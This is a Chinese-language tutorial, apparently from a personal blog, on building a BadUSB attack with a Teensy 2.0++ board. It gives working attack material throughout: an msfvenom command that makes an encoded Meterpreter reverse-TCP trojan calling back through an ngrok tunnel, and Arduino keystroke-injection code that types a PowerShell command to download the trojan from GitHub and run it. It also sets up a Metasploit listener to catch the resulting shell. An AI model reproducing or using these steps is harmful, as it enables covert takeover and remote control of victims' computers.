准備工作
- 一塊 Teensy2.0++ 的板子(淘寶一搜就有)
- Arduino編譯器
- 1.8.7版本下載連接:arduino下載地址
- Teensy插件
- 下載連接:Teensy下載地址
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-ryJkNHH9-1580900714737)(http://da1sy.github.io/assets/images/9-Yue/teensy-1.jpg)]
1.下載好arduino后直接解壓
⚡ /home/da1sy/arduino-1.8.7# ./arduino
2.安裝Teensy插件
⚡ /home/da1sy/arduino-1.8.7# ./TeensyduinoInstall.linux64
注意將插件安裝到arduino的解壓目錄下
3.arduino修改配置
打開軟件后將 工具 下配置修改如下
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-Qt73hPFf-1580900714743)(http://da1sy.github.io/assets/images/9-Yue/teensy-2.jpg)]
4.利用ngrok實現內網穿透
在https://www.ngrok.cc/ 注冊賬號后開通tcp隧道
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-p0rQ6pAB-1580900714746)(http://da1sy.github.io/assets/images/9-Yue/teensy-3.png)]
下載客戶端
⚡/home/da1sy/桌面/linux_amd64# ./sunny clientid 隧道ID號
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-260TmEzU-1580900714747)(http://da1sy.github.io/assets/images/9-Yue/teensy-4.png)]
5.利用msfvenom生成windows端木馬
⚡/home/da1sy# msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b '\x00' lhost=free.idcfengye.com lport=17839 -f exe > windows.exe
lhost 為運行sunny后的域名,lport為開通隧道時填寫的端口(運行后也會有顯示)
最后將生成的木馬放到github項目上實現遠程下載
6.編輯arduino代碼
char *command1 = "powershell -Command $clnt = new-object System.Net.WebClient;$url= 'https://raw.githubusercontent.com/da1sy/da1sy/master/windows.exe';$file = ' %HOMEPATH%\\windows.exe ';$clnt.DownloadFile($url,$file); ";
char *command2 = "%HOMEPATH%\\windows.exe ";
//將連接的地址改為自己github的地址
void setup() {
delay(5000);
omg(command1);
delay(15000);
omg(command2);
}
void loop() {}
void omg(char *SomeCommand)
{
Keyboard.set_modifier(128);
Keyboard.set_key1(KEY_R);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
delay(1500);
Keyboard.println(SomeCommand);
}
編輯好后點驗證,然后插入Teensy板子,最后按一下板子上的按鈕完成上傳
7.metasploit開啟監聽
⚡ /home/da1sy/# msfconsole
msf > use exploit/multi/handler
msf exploit(multi/handler) > set lhost 127.0.0.1
msf exploit(multi/handler) > set lport 6666 //ngrok開通隧道時填寫的本地地址與端口號
msf exploit(multi/handler) > exploit
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-NvFrtRgA-1580900714750)(http://da1sy.github.io/assets/images/9-Yue/teensy-5.png)]
8.最后對目標插入badusb
效果圖如下
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-gMBGeM7J-1580900714752)(http://da1sy.github.io/assets/images/9-Yue/teensy-s1.gif)]
監聽端
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-PVLFqHTr-1580900714759)(http://da1sy.github.io/assets/images/9-Yue/teensy-s2.gif)]
最后反彈的會話好像是出現了毛病,不過總體上嘛 問題不大
一些其他的代碼
有時間再補